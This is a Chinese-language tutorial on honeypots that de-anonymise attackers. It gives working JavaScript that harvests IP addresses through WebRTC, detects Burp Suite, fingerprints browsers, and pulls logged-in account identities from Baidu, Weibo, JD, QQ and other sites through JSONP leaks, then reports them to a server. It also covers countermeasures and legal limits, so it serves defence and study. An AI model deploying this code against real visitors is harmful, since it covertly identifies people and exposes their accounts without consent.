利用社交账号精准溯源的蜜罐技术
字数 1096 2025-08-15 21:32:12

利用社交账号精准溯源的蜜罐技术教学文档

1. 蜜罐技术概述

蜜罐技术是一种主动防御技术,通过模拟真实系统吸引攻击者,从而收集攻击信息、混淆攻击面并拖延攻击时间。传统蜜罐只能获取攻击者的一级IP地址,而现代攻击者通常使用多层代理,使得传统溯源方法效果有限。

2. 社交账号溯源技术原理

本技术通过获取攻击设备中的独特指纹信息,特别是社交账号信息,实现更精准的溯源。核心原理:

  • 攻击者通常使用自己的笔记本/设备进行攻击
  • 设备中可能登录了社交媒体且未退出
  • 通过JSONP接口可获取这些社交账号信息

3. 技术实现条件

实现该技术需要满足以下条件:

  1. 攻击者设备登录过社交媒体且未退出
  2. 能找到相关社交媒体网站的JSONP接口
  3. 接口能泄露敏感用户信息

4. 接口类型分析

4.1 JSONP接口

特点:

  • 可跨域调用
  • 效果好,容易集成到蜜罐中
  • 服务端未做特殊限制时可成功调用

4.2 CORS接口

特点:

  • 需要接口允许跨域
  • 返回头需包含Access-Control-Allow-Origin: *
  • 无法携带cookie,浏览器限制使其不适合收集黑客信息

5. 技术实现细节

5.1 获取攻击者IP地址

// 通过淘宝接口获取外部IP
callJSONP("https://www.taobao.com/help/getip.php", 'cb', function(data) {
    sendData["network"]["externalIP"] = data['ip'];
});

// 通过WebRTC获取内部IP(现代浏览器已限制)
function getPrivateIP() {
    var ip;
    window['RTCPeerConnection'] = window["RTCPeerConnection"] || window["mozRTCPeerConnection"] || window["webkitRTCPeerConnection"];
    var pc = new RTCPeerConnection({ 'iceServers': [] });
    pc.createDataChannel('');
    pc.createOffer(pc.setLocalDescription.bind(pc), function() {});
    pc.onicecandidate = function(ice) {
        if (!ice || !ice.candidate || !ice.candidate.candidate) return;
        ip = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
        pc.onicecandidate = function() {};
    };
    return new Promise(function(resolve) {
        setTimeout(function() { resolve(ip); }, 1200);
    });
}

5.2 检测Burp Suite等工具

function getToolInfo() {
    const toolInfo = {};
    var img = new Image();
    img.onload = function() {
        toolInfo['burpDet'] = true;
        sendData['tool'] = toolInfo;
    };
    img.onerror = function() {
        toolInfo["burpDet"] = false;
        sendData["tool"] = toolInfo;
    };
    img.src = "http://burp/favicon.ico";
}

5.3 获取设备指纹

function getFpHash(components) {
    const values = components.map(function(component) {
        return component.value;
    });
    return Fingerprint2.x64hash128(values.join(''), 31);
}

5.4 社交账号信息收集

核心函数getSocialInfo()通过调用各平台的JSONP接口获取用户信息:

function getSocialInfo() {
    var socialData = [];
    
    // 百度账号信息
    callJSONP("https://baike.baidu.com/api/usercenter/login?msg=1&_=1560425055850", "callback", function(data) {
        var info = { 'channel': "baidu", 'extraInfo': {} };
        if (data.isLogin) {
            if (data.uid) info.uid = data.uid.toString();
            if (data.displayName) info.name = data.displayName;
            if (data.uname) info.name = data.uname;
            if (data.portraitUrl) info.avatar = data.portraitUrl;
            socialData.push(info);
        }
    });
    
    // 58同城账号信息
    callJSONP("https://employer.58.com/index/enterpriseinfo", "callback", function(data) {
        var info = { 'channel': '58', 'extraInfo': {} };
        data = data.data;
        if (data.username) {
            info.uname = data.username;
            socialData.push(info);
        }
    });
    
    // 微博账号信息
    callJSONP("http://api.t.sina.com.cn/account/verify_credentials.json?source=27457034", "callback", function(data) {
        var info = { 'channel': 'weibo', 'extraInfo': {} };
        if (data.data) {
            data = data.data;
            if (data.id) {
                info.uid = data.id.toString();
                if (data.screen_name) info.name = data.screen_name;
                if (data.name) info.name = data.name;
                if (data.avatar_hd) info.avatar = data.avatar_hd;
                socialData.push(info);
            }
        }
    });
    
    // 京东账号信息
    callJSONP("https://api.m.jd.com/api?appid=pc_home_page&functionId=getBaseUserInfo&loginType=3", "jsonp", function(data) {
        var info = { 'channel': 'jd', 'extraInfo': {} };
        if (data.returnObj) {
            data = data.returnObj;
            if (data.isAuthenticated == 1) {
                info.name = data.userNickName;
                info.extraInfo = { jdScore: data.jdScore, xbCreditScore: data.xbCreditScore };
                if (data.headImg) info.avatar = data.headImg;
                socialData.push(info);
            }
        }
    });
    
    // 网易账号信息
    callJSONP("http://comment.api.163.com/api/v1/products/a2869674571f77b5a...", 'callback', function(data) {
        var info = { 'channel': 'netease', 'extraInfo': {} };
        if (data.user) {
            data = data.user;
            if (data.userId) info.uid = data.userId.toString();
            if (data.avatar) info.avatar = data.avatar;
            if (data.username) info.uname = atob(data.username);
            socialData.push(info);
        }
    });
    
    // QQ账号信息
    callJSONP("https://u.y.qq.com/cgi-bin/musicu.fcg?...", "callback", function(data) {
        const info = { 'channel': 'qq' };
        const rankData = data.B;
        const baseData = data.C;
        if (rankData.data && baseData.data) {
            var hasData = false;
            const rankInfo = rankData.data;
            const baseInfo = baseData.data;
            if (rankInfo && rankInfo.rankinfo && rankInfo.rankinfo.uin) {
                info.uid = rankInfo.rankinfo.uin.toString();
                info.uname = rankInfo.rankinfo.uin.toString();
                hasData = true;
            }
            if (baseInfo.name) {
                info.name = baseInfo.name;
                hasData = true;
            }
            if (hasData) socialData.push(info);
        }
    });
    
    return new Promise(function(resolve) {
        window.setTimeout(function() { resolve(socialData); }, 1200);
    });
}

5.5 JSONP调用函数

function callJSONP(jsonp_url, jsonp_param, callback_func) {
    const callbackName = "jQuery" + (version + Math.random()).replace(/\D/g, '') + new Date().getTime();
    
    function setCallback(name, func) {
        window[name] = func;
    }
    
    function buildUrl(url, param, func) {
        var a = document.createElement('a');
        a.href = url;
        if (a.search.length) {
            return url + '&' + param + '=' + func;
        }
        return url + '?' + param + '=' + func;
    }
    
    setCallback(callbackName, callback_func);
    jsonp_url = buildUrl(jsonp_url, jsonp_param, callbackName);
    loadJS(jsonp_url);
}

function loadJS(url) {
    var script = document.createElement('script');
    script.src = url;
    script.async = true;
    document.body.appendChild(script);
}

5.6 数据上报

function reportInfo(data) {
    const endpoint = "/api/portrait";
    const xhr = new XMLHttpRequest();
    xhr.open("POST", endpoint, true);
    xhr.setRequestHeader("Content-Type", "application/json");
    data = JSON.stringify(data);
    xhr.send(data);
}

6. 支持的社交媒体平台

该蜜罐样本支持从以下平台获取用户信息:

  1. 百度
  2. 58同城
  3. 微博
  4. 京东
  5. 网易
  6. QQ音乐/QQ账号
  7. 爱奇艺
  8. 当当网

7. 防御措施

为防止此类溯源技术,建议:

  1. 使用专用浏览器或隐私模式进行渗透测试
  2. 禁用WebRTC或使用相关插件防止IP泄露
  3. 使用虚拟机或专用设备进行测试
  4. 定期清理浏览器cookie和缓存
  5. 使用浏览器插件阻止第三方跟踪

8. 法律与伦理考量

使用此类技术时需注意:

  1. 必须遵守当地法律法规
  2. 仅用于合法授权的安全测试
  3. 收集的信息需妥善保管,防止滥用
  4. 明确告知用户数据收集行为(如用于防御目的)

9. 技术局限性

  1. 依赖攻击者登录社交媒体且未退出
  2. JSONP接口可能被平台关闭或限制
  3. 现代浏览器隐私保护功能可能阻止部分信息收集
  4. 攻击者使用专用设备或虚拟机时可规避

10. 总结

利用社交账号精准溯源的蜜罐技术通过结合传统蜜罐与JSONP接口调用,实现了比单纯IP溯源更精准的攻击者画像能力。该技术在防御高级持续性威胁(APT)和针对性攻击方面具有重要价值,但同时也带来了隐私保护的挑战。安全团队应在法律框架内合理使用此类技术,并持续关注其演进与发展。

利用社交账号精准溯源的蜜罐技术教学文档 1. 蜜罐技术概述 蜜罐技术是一种主动防御技术,通过模拟真实系统吸引攻击者,从而收集攻击信息、混淆攻击面并拖延攻击时间。传统蜜罐只能获取攻击者的一级IP地址,而现代攻击者通常使用多层代理,使得传统溯源方法效果有限。 2. 社交账号溯源技术原理 本技术通过获取攻击设备中的独特指纹信息,特别是社交账号信息,实现更精准的溯源。核心原理: 攻击者通常使用自己的笔记本/设备进行攻击 设备中可能登录了社交媒体且未退出 通过JSONP接口可获取这些社交账号信息 3. 技术实现条件 实现该技术需要满足以下条件: 攻击者设备登录过社交媒体且未退出 能找到相关社交媒体网站的JSONP接口 接口能泄露敏感用户信息 4. 接口类型分析 4.1 JSONP接口 特点: 可跨域调用 效果好,容易集成到蜜罐中 服务端未做特殊限制时可成功调用 4.2 CORS接口 特点: 需要接口允许跨域 返回头需包含 Access-Control-Allow-Origin: * 无法携带cookie,浏览器限制使其不适合收集黑客信息 5. 技术实现细节 5.1 获取攻击者IP地址 5.2 检测Burp Suite等工具 5.3 获取设备指纹 5.4 社交账号信息收集 核心函数 getSocialInfo() 通过调用各平台的JSONP接口获取用户信息: 5.5 JSONP调用函数 5.6 数据上报 6. 支持的社交媒体平台 该蜜罐样本支持从以下平台获取用户信息: 百度 58同城 微博 京东 网易 QQ音乐/QQ账号 爱奇艺 当当网 7. 防御措施 为防止此类溯源技术,建议: 使用专用浏览器或隐私模式进行渗透测试 禁用WebRTC或使用相关插件防止IP泄露 使用虚拟机或专用设备进行测试 定期清理浏览器cookie和缓存 使用浏览器插件阻止第三方跟踪 8. 法律与伦理考量 使用此类技术时需注意: 必须遵守当地法律法规 仅用于合法授权的安全测试 收集的信息需妥善保管,防止滥用 明确告知用户数据收集行为(如用于防御目的) 9. 技术局限性 依赖攻击者登录社交媒体且未退出 JSONP接口可能被平台关闭或限制 现代浏览器隐私保护功能可能阻止部分信息收集 攻击者使用专用设备或虚拟机时可规避 10. 总结 利用社交账号精准溯源的蜜罐技术通过结合传统蜜罐与JSONP接口调用,实现了比单纯IP溯源更精准的攻击者画像能力。该技术在防御高级持续性威胁(APT)和针对性攻击方面具有重要价值,但同时也带来了隐私保护的挑战。安全团队应在法律框架内合理使用此类技术,并持续关注其演进与发展。